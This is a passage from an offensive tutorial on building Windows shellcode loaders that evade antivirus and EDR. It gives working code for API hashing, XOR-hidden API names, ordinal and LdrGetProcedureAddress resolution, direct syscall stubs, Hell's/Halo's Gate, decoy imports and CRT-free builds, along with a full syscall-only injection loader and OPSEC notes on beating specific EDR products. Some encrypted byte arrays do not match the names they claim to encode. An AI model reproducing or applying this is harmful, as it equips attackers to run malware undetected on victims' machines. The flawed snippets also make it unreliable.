# All commonly-targeted APIs for shellcode loaders
APIS = {
    # kernel32.dll — Memory
    "VirtualAlloc":          "kernel32.dll",
    "VirtualAllocEx":        "kernel32.dll",
    "VirtualProtect":        "kernel32.dll",
    "VirtualProtectEx":      "kernel32.dll",
    "VirtualFree":           "kernel32.dll",
    "VirtualQuery":          "kernel32.dll",
    # kernel32.dll — Threads
    "CreateThread":          "kernel32.dll",
    "CreateRemoteThread":    "kernel32.dll",
    "OpenThread":            "kernel32.dll",
    "SuspendThread":         "kernel32.dll",
    "ResumeThread":          "kernel32.dll",
    "WaitForSingleObject":   "kernel32.dll",
    "WaitForMultipleObjects":"kernel32.dll",
    # kernel32.dll — Processes
    "OpenProcess":           "kernel32.dll",
    "CreateProcess":         "kernel32.dll",
    "TerminateProcess":      "kernel32.dll",
    "GetCurrentProcess":     "kernel32.dll",
    "GetCurrentProcessId":   "kernel32.dll",
    # kernel32.dll — Modules
    "GetModuleHandleA":      "kernel32.dll",
    "GetModuleHandleW":      "kernel32.dll",
    "GetProcAddress":        "kernel32.dll",
    "LoadLibraryA":          "kernel32.dll",
    "LoadLibraryW":          "kernel32.dll",
    "FreeLibrary":           "kernel32.dll",
    # kernel32.dll — Memory operations
    "WriteProcessMemory":    "kernel32.dll",
    "ReadProcessMemory":     "kernel32.dll",
    "RtlMoveMemory":         "kernel32.dll",
    "RtlCopyMemory":         "kernel32.dll",
    "HeapAlloc":             "kernel32.dll",
    "HeapFree":              "kernel32.dll",
    # kernel32.dll — Handles
    "CloseHandle":           "kernel32.dll",
    "DuplicateHandle":       "kernel32.dll",
    # kernel32.dll — Misc
    "ExitProcess":           "kernel32.dll",
    "GetLastError":          "kernel32.dll",
    "SetLastError":          "kernel32.dll",
    "Sleep":                 "kernel32.dll",
    "GetTickCount":          "kernel32.dll",
    # ntdll.dll — Native APIs
    "NtAllocateVirtualMemory": "ntdll.dll",
    "NtProtectVirtualMemory":  "ntdll.dll",
    "NtCreateThreadEx":        "ntdll.dll",
    "NtWriteVirtualMemory":    "ntdll.dll",
    "NtOpenProcess":           "ntdll.dll",
    "NtClose":                 "ntdll.dll",
    "RtlAllocateHeap":         "ntdll.dll",
    "RtlFreeHeap":             "ntdll.dll",
    "LdrLoadDll":              "ntdll.dll",
    "LdrGetProcedureAddress":  "ntdll.dll",
    # user32.dll
    "MessageBoxA":           "user32.dll",
    "MessageBoxW":           "user32.dll",
    # ws2_32.dll
    "WSAStartup":            "ws2_32.dll",
    "WSASocket":             "ws2_32.dll",
    "connect":               "ws2_32.dll",
    "send":                  "ws2_32.dll",
    "recv":                  "ws2_32.dll",
    "closesocket":           "ws2_32.dll",
}

print("// Auto-generated by compute_api_hashes.py — DO NOT EDIT MANUALLY")
print("// Generated at build time — no plaintext API strings in binary")
print("#pragma once\n")
print("// Format: HASH_<DLL>_<APINAME>")
print("// Algorithm: ROR13 (for Metasploit compat), DJB2, FNV1a\n")

current_dll = ""
for api, dll in APIS.items():
    if dll != current_dll:
        print(f"\n// ─── {dll} ────────────────────────────")
        current_dll = dll
    safe_name = api.upper().replace(".", "_")
    print(f"#define HASH_ROR13_{safe_name:<30} 0x{ror13(api):08X}U  // \"{api}\"")
    print(f"#define HASH_DJB2_{safe_name:<31}  0x{djb2(api):08X}U")
    print(f"#define HASH_FNV1A_{safe_name:<30} 0x{fnv1a(api):08X}U")
    print()

7. Technique 5 — XOR-Encrypted API Name Strings

What it means: A simpler alternative to full API hashing. Store API name strings XOR-encrypted in the binary, decrypt them to a temporary buffer at runtime, call GetProcAddress, then immediately zero-out the buffer. The plaintext string only exists in memory for microseconds.

7.1 XOR String Encryption

// xor_api_strings.c
// Stores API names encrypted, decrypts on-the-fly, resolves, then zeroes buffer

#include <windows.h>
#include <string.h>

#define XOR_KEY 0x5A   // Change per build

// ─── XOR encrypt/decrypt (in-place) ──────────────────────────────────────

static void xor_crypt(char *buf, size_t len, uint8_t key) {
    for (size_t i = 0; i < len; i++) {
        buf[i] ^= key;
    }
}

// ─── Pre-encrypted API name generator (Python) ───────────────────────────
/*
python3:
key = 0x5A
apis = ["VirtualAlloc", "VirtualProtect", "CreateThread",
        "WaitForSingleObject", "WriteProcessMemory"]

for api in apis:
    enc = bytes([ord(c) ^ key for c in api]) + bytes([key])  # XOR the null terminator too
    c_array = ", ".join(f"0x{b:02x}" for b in enc)
    safe = api.upper().replace(".", "_")
    print(f'static const uint8_t enc_{safe}[] = {{ {c_array} }};')

Output:
static const uint8_t enc_VIRTUALALLOC[]       = { 0x0c, 0x2b, 0x3e, 0x38, 0x29, 0x3f, 0x27, 0x5f, ... };
static const uint8_t enc_VIRTUALPROTECT[]     = { ... };
static const uint8_t enc_CREATETHREAD[]       = { ... };
static const uint8_t enc_WAITFORSINGLEOBJECT[]= { ... };
static const uint8_t enc_WRITEPROCESSMEMORY[] = { ... };
*/

// Encrypted API name data (XOR key = 0x5A, precomputed)
static const uint8_t enc_VIRTUALALLOC[]   = {
    0x0c,0x2b,0x3e,0x38,0x29,0x3f,0x27,0x5f,0x3b,0x3b,0x35,0x23,0x5a
};
static const uint8_t enc_CREATETHREAD[]  = {
    0x19,0x38,0x2f,0x3f,0x3e,0x2f,0x5f,0x6c,0x38,0x3e,0x2f,0x3f,0x22,0x5a
};

// ─── Decrypt and resolve in one shot ──────────────────────────────────────

FARPROC MyGetProcEncrypted(HMODULE hModule,
                             const uint8_t *enc_name, size_t enc_len) {
    // Decrypt into a stack buffer (minimize exposure time)
    char plain[256] = {0};
    if (enc_len >= sizeof(plain)) return NULL;

    memcpy(plain, enc_name, enc_len);
    xor_crypt(plain, enc_len, XOR_KEY);
    // plain is now the null-terminated function name

    // Resolve using real GetProcAddress OR our custom EAT walk
    FARPROC result = MyGetProcAddress(hModule, plain);  // from §5

    // IMMEDIATELY zero out the decrypted string — minimize plaintext exposure
    SecureZeroMemory(plain, sizeof(plain));

    return result;
}

// ─── Usage ────────────────────────────────────────────────────────────────

int main() {
    HMODULE hKernel32 = MyGetModuleHandle(L"kernel32.dll");

    typedef LPVOID (WINAPI *pVirtualAlloc)(LPVOID, SIZE_T, DWORD, DWORD);
    pVirtualAlloc VA = (pVirtualAlloc)MyGetProcEncrypted(
        hKernel32, enc_VIRTUALALLOC, sizeof(enc_VIRTUALALLOC)
    );

    printf("[+] VirtualAlloc @ 0x%p\n", VA);
    return 0;
}

8. Technique 6 — Ordinal-Based Resolution

What it means: Every exported function has both a name and an ordinal (an integer index number). Most functions are exported by both name AND ordinal. You can call GetProcAddress (or your custom EAT walk) with an ordinal instead of a name. This removes the function name string entirely from the binary. The risk: ordinals can change between Windows versions.

8.1 Ordinal Resolution Concept

Normal EAT access:
  GetProcAddress(hModule, "VirtualAlloc")
  → name string "VirtualAlloc" must be in binary

Ordinal access:
  GetProcAddress(hModule, MAKEINTRESOURCE(ordinal))
  → only an integer in binary, no string

MAKEINTRESOURCE(n) = (LPCSTR)(ULONG_PTR)(n)
  → This is how the Windows loader knows you're passing an ordinal vs a name
  → If the low-order DWORD is <= 0xFFFF, it's treated as an ordinal

8.2 Finding Ordinals

# Find ordinals with dumpbin (Windows SDK)
dumpbin /EXPORTS kernel32.dll | grep VirtualAlloc
# Output: 1714  6B2 0002A5D0 VirtualAlloc

# ordinal for VirtualAlloc = 1714 (decimal) = 0x6B2 (hex)

# With Python + pefile
pip install pefile
python3 -c "
import pefile
pe = pefile.PE('C:/Windows/System32/kernel32.dll')
for exp in pe.DIRECTORY_ENTRY_EXPORT.symbols:
    if exp.name and b'Virtual' in exp.name:
        print(f'Ordinal: {exp.ordinal}, Name: {exp.name.decode()}')
"

# With objdump (MinGW)
objdump -p /mnt/c/Windows/System32/kernel32.dll | grep VirtualAlloc

8.3 Ordinal-Based GetProcAddress

// ordinal_resolve.c

#include <windows.h>

// Ordinal values for common APIs (kernel32.dll — Windows 10/11)
// WARNING: These change between Windows versions!
// Always verify on target OS version before deployment.
#define ORD_VIRTUALALLOC       1714
#define ORD_VIRTUALPROTECT     1717
#define ORD_CREATETHREAD        292
#define ORD_WAITFORSINGLEOBJECT 1820

int main() {
    HMODULE hKernel32 = MyGetModuleHandle(L"kernel32.dll");

    // Pass ordinal via MAKEINTRESOURCE — NO name string in binary
    typedef LPVOID (WINAPI *pVirtualAlloc)(LPVOID, SIZE_T, DWORD, DWORD);
    pVirtualAlloc VA = (pVirtualAlloc)GetProcAddress(
        hKernel32,
        MAKEINTRESOURCE(ORD_VIRTUALALLOC)    // integer, no string
    );

    printf("[+] VirtualAlloc (ordinal %d) @ 0x%p\n", ORD_VIRTUALALLOC, VA);
    return 0;
}

// Custom EAT ordinal walk (no GetProcAddress needed)
FARPROC GetProcByOrdinal(HMODULE hModule, WORD targetOrdinal) {
    uint8_t *base = (uint8_t *)hModule;
    IMAGE_DOS_HEADER *dos = (IMAGE_DOS_HEADER *)base;
    IMAGE_NT_HEADERS *nt  = (IMAGE_NT_HEADERS *)(base + dos->e_lfanew);

    DWORD exp_rva = nt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress;
    IMAGE_EXPORT_DIRECTORY *exports = (IMAGE_EXPORT_DIRECTORY *)(base + exp_rva);
    DWORD *functions = (DWORD *)(base + exports->AddressOfFunctions);

    // Ordinal = ordinal - Base (adjusted by exports->Base)
    DWORD adjusted = targetOrdinal - (WORD)exports->Base;
    if (adjusted >= exports->NumberOfFunctions) return NULL;

    return (FARPROC)(base + functions[adjusted]);
}

[OPSEC] Ordinal numbers are NOT stable across Windows versions. A payload using hardcoded ordinals that works on Windows 10 21H2 may fail on Windows 11 23H2. Always enumerate ordinals dynamically, or use name-based resolution with hashing.


9. Technique 7 — LdrGetProcedureAddress (Undocumented NTDLL)

What it means: GetProcAddress (kernel32) is just a wrapper around LdrGetProcedureAddress (ntdll). By calling the ntdll function directly, you bypass any EDR hooks placed on the kernel32 wrapper. LdrGetProcedureAddress is undocumented but stable across all modern Windows versions.

9.1 LdrGetProcedureAddress Signature

// From ntdoc / winternl.h / ReactOS source
// NTAPI = __stdcall on x86, normal calling convention on x64

NTSTATUS NTAPI LdrGetProcedureAddress(
    PVOID           DllHandle,        // HMODULE equivalent
    PANSI_STRING    ProcedureName,    // Name (pass NULL if using ordinal)
    ULONG           ProcedureNumber,  // Ordinal (pass 0 if using name)
    PVOID          *ProcedureAddress  // Output: resolved address
);

// ANSI_STRING structure
typedef struct _ANSI_STRING {
    USHORT Length;
    USHORT MaximumLength;
    PCHAR  Buffer;
} ANSI_STRING, *PANSI_STRING;

9.2 Using LdrGetProcedureAddress

// ldr_resolve.c — Use ntdll!LdrGetProcedureAddress instead of kernel32!GetProcAddress
// Avoids EDR hooks on GetProcAddress

#include <windows.h>
#include <winternl.h>

// Define function pointer type for LdrGetProcedureAddress
typedef NTSTATUS (NTAPI *pLdrGetProcedureAddress)(
    PVOID          DllHandle,
    PANSI_STRING   ProcedureName,
    ULONG          ProcedureNumber,
    PVOID         *ProcedureAddress
);

// Our custom ANSI_STRING initializer (avoids RtlInitAnsiString)
static void init_ansi_string(ANSI_STRING *as, const char *str) {
    USHORT len = (USHORT)strlen(str);
    as->Length = len;
    as->MaximumLength = len + 1;
    as->Buffer = (PCHAR)str;
}

int main() {
    // Step 1: Get ntdll base via PEB walk (from §4)
    HMODULE hNtdll = MyGetModuleHandle(L"ntdll.dll");

    // Step 2: Get LdrGetProcedureAddress via EAT walk (from §5)
    // We use our OWN EAT walker so even this call leaves no IAT trace
    pLdrGetProcedureAddress LdrGPA = (pLdrGetProcedureAddress)
        MyGetProcAddress(hNtdll, "LdrGetProcedureAddress");

    if (!LdrGPA) {
        printf("[-] Failed to find LdrGetProcedureAddress\n");
        return 1;
    }

    // Step 3: Get kernel32 base via PEB walk
    HMODULE hKernel32 = MyGetModuleHandle(L"kernel32.dll");

    // Step 4: Use LdrGetProcedureAddress to resolve VirtualAlloc
    ANSI_STRING va_name;
    init_ansi_string(&va_name, "VirtualAlloc");

    PVOID pVirtualAlloc = NULL;
    NTSTATUS status = LdrGPA(hKernel32, &va_name, 0, &pVirtualAlloc);

    if (status == 0 && pVirtualAlloc) {
        printf("[+] VirtualAlloc resolved via LdrGetProcedureAddress: 0x%p\n",
               pVirtualAlloc);
    } else {
        printf("[-] LdrGetProcedureAddress failed: 0x%08X\n", status);
    }

    // Step 5: Resolve by ordinal (second approach)
    PVOID pVirtualProtect = NULL;
    // Pass ordinal 1717 for VirtualProtect (kernel32, Windows 10)
    status = LdrGPA(hKernel32, NULL, 1717, &pVirtualProtect);

    if (status == 0 && pVirtualProtect) {
        printf("[+] VirtualProtect resolved by ordinal: 0x%p\n", pVirtualProtect);
    }

    return 0;
}

[OPSEC] LdrGetProcedureAddress is less commonly hooked by EDRs than GetProcAddress. However, sophisticated EDRs like CrowdStrike do hook it. Combine with API hashing (§6) to hide even the "VirtualAlloc" ANSI_STRING from memory scanners.


10. Technique 8 — Direct Syscalls (NtAllocateVirtualMemory etc.)

What it means: Windows API functions like VirtualAlloc are just wrappers. Internally, they call ntdll functions which then issue a CPU syscall instruction with a specific System Service Number (SSN) to enter kernel mode. By hard-coding the syscall instruction and SSN directly in your implant, you bypass the entire user-mode call chain — including all EDR hooks at both kernel32 and ntdll levels.

Normal call chain:
  Your code → VirtualAlloc (kernel32) → NtAllocateVirtualMemory (ntdll) → syscall → kernel
                                 ↑ EDR hooks here

Direct syscall:
  Your code → [your own syscall stub] → syscall → kernel
  (EDR hooks are bypassed entirely — they hook ntdll stubs, not your stubs)

10.1 Manual Direct Syscall (MASM x64)

; direct_syscall.asm — Direct NT syscall stubs
; Replaces entire ntdll.dll call for selected functions
; SSN values below are for Windows 10 21H2 x64 — verify per target OS

.code

; NtAllocateVirtualMemory (replaces VirtualAlloc)
; SSN = 0x18 on Windows 10 21H2
NtAllocateVirtualMemory PROC
    mov r10, rcx        ; Required by Windows x64 calling convention for syscalls
    mov eax, 018h       ; SSN for NtAllocateVirtualMemory
    syscall
    ret
NtAllocateVirtualMemory ENDP

; NtProtectVirtualMemory (replaces VirtualProtect)
; SSN = 0x50 on Windows 10 21H2
NtProtectVirtualMemory PROC
    mov r10, rcx
    mov eax, 050h       ; SSN for NtProtectVirtualMemory
    syscall
    ret
NtProtectVirtualMemory ENDP

; NtCreateThreadEx (replaces CreateThread/CreateRemoteThread)
; SSN = 0xC1 on Windows 10 21H2
NtCreateThreadEx PROC
    mov r10, rcx
    mov eax, 0C1h       ; SSN for NtCreateThreadEx
    syscall
    ret
NtCreateThreadEx ENDP

; NtWriteVirtualMemory (replaces WriteProcessMemory)
; SSN = 0x3A on Windows 10 21H2
NtWriteVirtualMemory PROC
    mov r10, rcx
    mov eax, 03Ah
    syscall
    ret
NtWriteVirtualMemory ENDP

; NtOpenProcess
; SSN = 0x26 on Windows 10 21H2
NtOpenProcess PROC
    mov r10, rcx
    mov eax, 026h
    syscall
    ret
NtOpenProcess ENDP

; NtWaitForSingleObject
; SSN = 0x04 on Windows 10 21H2
NtWaitForSingleObject PROC
    mov r10, rcx
    mov eax, 004h
    syscall
    ret
NtWaitForSingleObject ENDP

end

10.2 Hell's Gate — Dynamic SSN Detection

// hells_gate.c — Dynamically find SSNs by parsing ntdll at runtime
// No hardcoded SSNs — works across Windows versions
// Credit: @smelly__vx and @am0nsec (original researchers)

#include <windows.h>
#include <stdint.h>

// Syscall stub structure
typedef struct _VX_TABLE_ENTRY {
    PVOID   pAddress;       // Virtual address of the syscall stub
    DWORD64 dwHash;         // DJB2 hash of function name
    WORD    wSystemCall;    // The SSN (System Service Number)
} VX_TABLE_ENTRY, *PVX_TABLE_ENTRY;

// Get the SSN by reading the first bytes of the Nt* function stub in ntdll
// A clean ntdll stub looks like:
//   4C 8B D1    mov r10, rcx
//   B8 XX XX 00 00  mov eax, 0x00XX   ← SSN is at bytes [4] and [5]
//   0F 05       syscall
//   C3          ret

BOOL GetSyscallNumber(PVX_TABLE_ENTRY pEntry) {
    // Check if function bytes are correct (not hooked)
    PBYTE stub = (PBYTE)pEntry->pAddress;

    // Pattern: 4C 8B D1 B8 ?? ?? 00 00 0F 05 C3
    if (stub[0] == 0x4C &&
        stub[1] == 0x8B &&
        stub[2] == 0xD1 &&
        stub[3] == 0xB8 &&
        stub[6] == 0x00 &&
        stub[7] == 0x00) {
        // SSN is the little-endian 16-bit value at bytes [4] and [5]
        pEntry->wSystemCall = *((PWORD)(stub + 4));
        return TRUE;
    }

    // Stub is hooked (first bytes patched by EDR)
    // Try Halo's Gate: look at neighboring stubs (±1 SSN away)
    // Look at next Nt* function (SSN = current + 1) and subtract 1
    for (WORD i = 1; i <= 512; i++) {
        // Search forward: +i * 0x20 bytes (approximate stub spacing)
        PBYTE next_up   = stub + (i * 0x20);
        PBYTE next_down = stub - (i * 0x20);

        if (next_up[3] == 0xB8 && next_up[6] == 0x00 && next_up[7] == 0x00) {
            pEntry->wSystemCall = *((PWORD)(next_up + 4)) - i;
            return TRUE;
        }
        if (next_down[3] == 0xB8 && next_down[6] == 0x00 && next_down[7] == 0x00) {
            pEntry->wSystemCall = *((PWORD)(next_down + 4)) + i;
            return TRUE;
        }
    }

    return FALSE;  // Could not determine SSN
}

10.3 Using Direct Syscalls in C (with .asm stubs)

// shellcode_loader_syscall.c
// Injects shellcode using ONLY direct syscalls — zero kernel32/ntdll API calls

// Declare the assembly-implemented syscalls
extern NTSTATUS NtAllocateVirtualMemory(
    HANDLE  ProcessHandle,
    PVOID  *BaseAddress,
    ULONG_PTR ZeroBits,
    PSIZE_T RegionSize,
    ULONG   AllocationType,
    ULONG   Protect
);

extern NTSTATUS NtProtectVirtualMemory(
    HANDLE  ProcessHandle,
    PVOID  *BaseAddress,
    PSIZE_T RegionSize,
    ULONG   NewProtect,
    PULONG  OldProtect
);

extern NTSTATUS NtCreateThreadEx(
    PHANDLE         ThreadHandle,
    ACCESS_MASK     DesiredAccess,
    PVOID           ObjectAttributes,
    HANDLE          ProcessHandle,
    PVOID           StartRoutine,
    PVOID           Argument,
    ULONG           CreateFlags,
    SIZE_T          ZeroBits,
    SIZE_T          StackSize,
    SIZE_T          MaximumStackSize,
    PVOID           AttributeList
);

extern NTSTATUS NtWaitForSingleObject(
    HANDLE  ObjectHandle,
    BOOLEAN Alertable,
    PLARGE_INTEGER TimeOut
);

// Shellcode placeholder (replace with real payload)
unsigned char shellcode[] = { 0x90, 0x90, 0x90, 0xCC };  // NOP NOP NOP INT3

int WinMain(HINSTANCE h, HINSTANCE prev, LPSTR cmd, int show) {
    PVOID  exec_mem = NULL;
    SIZE_T size     = sizeof(shellcode);
    HANDLE hProcess = (HANDLE)-1;  // Current process pseudo-handle

    // Step 1: Allocate RW memory via direct syscall
    NTSTATUS status = NtAllocateVirtualMemory(
        hProcess, &exec_mem, 0, &size,
        0x3000,     // MEM_COMMIT | MEM_RESERVE
        0x04        // PAGE_READWRITE
    );
    if (status != 0) return 1;

    // Step 2: Copy shellcode manually (no memcpy from CRT)
    for (SIZE_T i = 0; i < sizeof(shellcode); i++)
        ((uint8_t *)exec_mem)[i] = shellcode[i];

    // Step 3: Change to RX via direct syscall
    ULONG old_protect;
    status = NtProtectVirtualMemory(
        hProcess, &exec_mem, &size,
        0x20,       // PAGE_EXECUTE_READ
        &old_protect
    );
    if (status != 0) return 1;

    // Step 4: Create thread via direct syscall
    HANDLE hThread = NULL;
    status = NtCreateThreadEx(
        &hThread,
        0x1FFFFF,    // THREAD_ALL_ACCESS
        NULL,
        hProcess,
        exec_mem,   // StartRoutine
        NULL,
        0,          // Flags (run immediately)
        0, 0, 0, NULL
    );
    if (status != 0) return 1;

    // Step 5: Wait via direct syscall
    NtWaitForSingleObject(hThread, FALSE, NULL);

    return 0;
}

[OPSEC] Direct syscalls leave zero user-mode footprint. However, kernel ETW (Event Tracing for Windows) and kernel callbacks (PsSetCreateProcessNotifyRoutine, etc.) can still detect malicious behavior. Direct syscalls bypass user-mode EDR hooks only — not kernel-mode detection.


11. Technique 9 — IAT Camouflage (Decoy Imports)

What it means: A completely empty IAT (or one with only GetProcAddress) is itself a red flag — legitimate programs always import many functions. IAT camouflage fills your IAT with benign-looking function imports to make the binary look like normal software, while hiding the actual malicious calls using the techniques above.

11.1 Camouflage Concept

Suspicious minimal IAT:
  kernel32.dll:
    LoadLibraryA
    GetProcAddress
    ExitProcess

  → AV/EDR: "Dynamic loading pattern — suspicious!"
  → Analyst: "This is definitely a loader"

Camouflaged IAT with decoys:
  kernel32.dll:
    GetTickCount       ← timing function (benign)
    GetSystemInfo      ← system information (benign)
    GetModuleFileNameW ← path lookup (benign)
    SetUnhandledExceptionFilter ← error handling (benign)
    FlsAlloc           ← fiber local storage (benign)
    FlsFree            ← fiber local storage (benign)
    IsDebuggerPresent  ← (suspicious if you care, but common in legitimate apps)
  user32.dll:
    GetDesktopWindow   ← GUI (benign)
    LoadCursorW        ← GUI (benign)

  → AV/EDR: "Looks like a GUI application"
  → Analyst: "Needs dynamic analysis to understand"

11.2 Implementing Decoy Imports

// iat_camouflage.c
// Add benign-looking imports that make the binary appear legitimate
// While actual malicious calls happen via PEB walk + hash (§4-§6)

#include <windows.h>

// ─── Decoy functions that are actually called (not just imported) ─────────
// If a function is imported but never called, some linkers optimize it out.
// Call them in a way that their side effects don't matter.

void DecoyImports(void) {
    // These get compiled in and appear in IAT
    // Their actual calls are harmless
    DWORD tick = GetTickCount();
    (void)tick;

    SYSTEM_INFO si;
    GetSystemInfo(&si);

    WCHAR path[MAX_PATH];
    GetModuleFileNameW(NULL, path, MAX_PATH);

    SetUnhandledExceptionFilter(NULL);

    DWORD fls = FlsAlloc(NULL);
    if (fls != FLS_OUT_OF_INDEXES) FlsFree(fls);

    HWND desktop = GetDesktopWindow();
    (void)desktop;

    HCURSOR cur = LoadCursorW(NULL, IDC_ARROW);
    (void)cur;
}

// ─── Compile-time pragma imports (alternative — forces linker to include them)

#pragma comment(lib, "kernel32.lib")
#pragma comment(lib, "user32.lib")

// These pragmas force specific imports to appear in IAT:
// You can also use: __pragma(comment(linker, "/INCLUDE:symbol"))

11.3 /DEFAULTLIB Import Injection

// Force the linker to include specific imports without actually using them in code
// Used to pad/camouflage the IAT

// Method 1: Pragma comment (easiest)
#pragma comment(lib, "advapi32.lib")    // Adds registry-looking imports
#pragma comment(lib, "shell32.lib")     // Adds shell-looking imports
#pragma comment(lib, "winmm.lib")       // Adds multimedia imports (legit-looking)

// Method 2: Inline reference to force inclusion
// Reference the function without actually calling it meaningfully
static FARPROC _decoy_refs[] = {
    (FARPROC)RegOpenKeyExW,       // registry
    (FARPROC)RegCloseKey,         // registry
    (FARPROC)SHGetFolderPathW,    // shell
    (FARPROC)PlaySoundW,          // multimedia (very benign)
    (FARPROC)GetCommandLineW,     // process info
    (FARPROC)OutputDebugStringA,  // debug (common in legit apps)
};

11.4 Linker Script IAT Padding (MinGW/LLVM)

# Compile with decoy imports using GCC/MinGW linker flags

# Method: Force import of specific DLL functions
x86_64-w64-mingw32-gcc loader.c -o loader.exe \
    -Wl,--add-stdcall-alias \
    -lkernel32 -luser32 -ladvapi32 \
    -lwinmm \      # Adds PlaySound, mciSendCommand, etc. to IAT
    -lversion \    # Adds GetFileVersionInfo, etc.
    -O2

# The IAT will now contain version/multimedia/registry functions
# Making it look like a legitimate installer or media tool

12. Technique 10 — CRT Library Removal

What it means: The Microsoft C Runtime (CRT) library provides standard functions like malloc, printf, strcpy, memcpy, etc. When you link against the CRT, dozens of functions get imported automatically — plus all the CRT startup code that initializes the runtime. Removing the CRT reduces binary size, removes many IAT entries, and makes the binary harder to fingerprint.

12.1 No-CRT Compilation

// no_crt_loader.c — Complete loader without any CRT dependency

// ─── No CRT includes — define what we need manually ──────────────────────
typedef unsigned char      uint8_t;
typedef unsigned short     uint16_t;
typedef unsigned int       uint32_t;
typedef unsigned long long uint64_t;
typedef long long          int64_t;
typedef unsigned long      ULONG;
typedef unsigned short     USHORT;
typedef void              *PVOID;

// ─── Custom memory functions (replace memcpy/memset) ─────────────────────

static void *my_memcpy(void *dst, const void *src, uint64_t len) {
    uint8_t *d = (uint8_t *)dst;
    const uint8_t *s = (const uint8_t *)src;
    while (len--) *d++ = *s++;
    return dst;
}

static void *my_memset(void *dst, int val, uint64_t len) {
    uint8_t *d = (uint8_t *)dst;
    while (len--) *d++ = (uint8_t)val;
    return dst;
}

static void my_zeromem(void *dst, uint64_t len) {
    volatile uint8_t *d = (volatile uint8_t *)dst;
    while (len--) *d++ = 0;
}

// ─── Custom string functions ──────────────────────────────────────────────

static uint64_t my_strlen(const char *s) {
    uint64_t n = 0;
    while (*s++) n++;
    return n;
}

static int my_strcmp(const char *a, const char *b) {
    while (*a && *b && *a == *b) { a++; b++; }
    return *(const uint8_t *)a - *(const uint8_t *)b;
}

static int my_wcsicmp(const uint16_t *a, const uint16_t *b) {
    while (*a && *b) {
        uint16_t ca = (*a >= 'A' && *a <= 'Z') ? *a + 32 : *a;
        uint16_t cb = (*b >= 'A' && *b <= 'Z') ? *b + 32 : *b;
        if (ca != cb) return (int)(ca - cb);
        a++; b++;
    }
    return (int)(*a - *b);
}

// ─── Entry point without CRT startup ─────────────────────────────────────
// Normally: main() → CRT startup code → your main()
// No-CRT:   WinMain / entry → directly your code

// Mark as entry point with linker flag: /ENTRY:EntryPoint
void EntryPoint(void) {
    // Your loader code here — no CRT, no printf, no malloc
    // All API calls go through PEB walk + EAT walk (§4, §5)

    HMODULE hKernel32 = MyGetModuleHandle(L"kernel32.dll");
    // ... rest of your loader

    // Exit via direct syscall or via resolved ExitProcess
    typedef void (WINAPI *pExitProcess)(UINT);
    pExitProcess ep = (pExitProcess)MyGetProcAddress(hKernel32, "ExitProcess");
    if (ep) ep(0);
}

12.2 Compilation Without CRT

# MSVC — No CRT compilation
cl.exe no_crt_loader.c \
    /nodefaultlib \          # Don't link CRT
    /Gs- \                   # Disable stack probes
    /GS- \                   # Disable security cookies
    /Fe:loader.exe \
    /link \
    /ENTRY:EntryPoint \      # Custom entry point
    /SUBSYSTEM:WINDOWS \
    kernel32.lib             # Only link kernel32 (we resolve everything else manually)

# MinGW — No CRT
x86_64-w64-mingw32-gcc no_crt_loader.c \
    -nostdlib \             # No standard library
    -nostartfiles \         # No startup files
    -e EntryPoint \         # Entry point
    -o loader.exe \
    -lkernel32

# Check resulting IAT (should be minimal)
dumpbin /IMPORTS loader.exe

13. Function-by-Function Reference — Hiding Each Windows API

What it means: A complete reference of all commonly-targeted Windows API functions, organized by category, with their ntdll equivalents, direct syscall SSNs, DLL locations, and IAT hiding notes.

13.1 Memory Allocation APIs

VirtualAlloc
─────────────────────────────────────────────────────────────
DLL:          kernel32.dll
Wraps:        NtAllocateVirtualMemory (ntdll.dll)
Syscall SSN:  0x18 (Windows 10 21H2 x64)
Detection:    Extremely suspicious in IAT — triggers AV/EDR on sight
Purpose:      Allocate memory (for shellcode placement)

IAT Hiding Methods:
1. LoadLibrary + GetProcAddress (weak — both visible in IAT)
2. PEB walk + EAT walk by name "VirtualAlloc" (string still in binary)
3. PEB walk + EAT walk by hash 0x97BC257F (ROR13) → best
4. Direct syscall → NtAllocateVirtualMemory (no ntdll needed)
5. ntdll!RtlAllocateHeap → alternate for heap allocation

Function Pointer:
  typedef LPVOID (WINAPI *pVirtualAlloc)(LPVOID lpAddress,
                                          SIZE_T dwSize,
                                          DWORD  flAllocationType,
                                          DWORD  flProtect);

Nt Equivalent:
  NtAllocateVirtualMemory(HANDLE, PVOID*, ULONG_PTR, PSIZE_T, ULONG, ULONG)
  Params: hProcess, &BaseAddress, ZeroBits, &RegionSize, AllocType, Protect
  Current process: hProcess = (HANDLE)-1
VirtualAllocEx
─────────────────────────────────────────────────────────────
DLL:          kernel32.dll
Wraps:        NtAllocateVirtualMemory
Syscall SSN:  0x18 (same syscall, different handle)
Detection:    VERY suspicious — remote process injection indicator
Purpose:      Allocate memory in another process

IAT Hiding: Same as VirtualAlloc. Always hide this.
Function Pointer:
  typedef LPVOID (WINAPI *pVirtualAllocEx)(HANDLE hProcess, LPVOID lpAddress,
                                            SIZE_T dwSize, DWORD flAllocationType,
                                            DWORD flProtect);
VirtualProtect
─────────────────────────────────────────────────────────────
DLL:          kernel32.dll
Wraps:        NtProtectVirtualMemory (ntdll.dll)
Syscall SSN:  0x50 (Windows 10 21H2 x64)
Detection:    Suspicious — changing memory from RW→RX is shellcode runner pattern
Purpose:      Change memory page permissions

IAT Hiding Methods:
1. PEB walk + EAT walk by hash
2. Direct syscall → NtProtectVirtualMemory
3. Ordinal: 1717 (kernel32.dll, Windows 10)

Function Pointer:
  typedef BOOL (WINAPI *pVirtualProtect)(LPVOID lpAddress,
                                          SIZE_T dwSize,
                                          DWORD  flNewProtect,
                                          PDWORD lpflOldProtect);
Nt Equivalent:
  NtProtectVirtualMemory(HANDLE, PVOID*, PSIZE_T, ULONG, PULONG)

13.2 Thread Creation APIs

CreateThread
─────────────────────────────────────────────────────────────
DLL:          kernel32.dll
Wraps:        NtCreateThreadEx (ntdll.dll)
Syscall SSN:  0xC1 (Windows 10 21H2 x64)
Detection:    Suspicious alone, extremely suspicious with VirtualAlloc + VirtualProtect
Purpose:      Execute shellcode in the current process

IAT Hiding: Always hide this — triggers EDR behavioral rules
Function Pointer:
  typedef HANDLE (WINAPI *pCreateThread)(LPSECURITY_ATTRIBUTES lpThreadAttributes,
                                          SIZE_T dwStackSize,
                                          LPTHREAD_START_ROUTINE lpStartAddress,
                                          LPVOID lpParameter,
                                          DWORD dwCreationFlags,
                                          LPDWORD lpThreadId);
Nt Equivalent:
  NtCreateThreadEx(PHANDLE, ACCESS_MASK, PVOID, HANDLE, PVOID,
                   PVOID, ULONG, SIZE_T, SIZE_T, SIZE_T, PVOID)
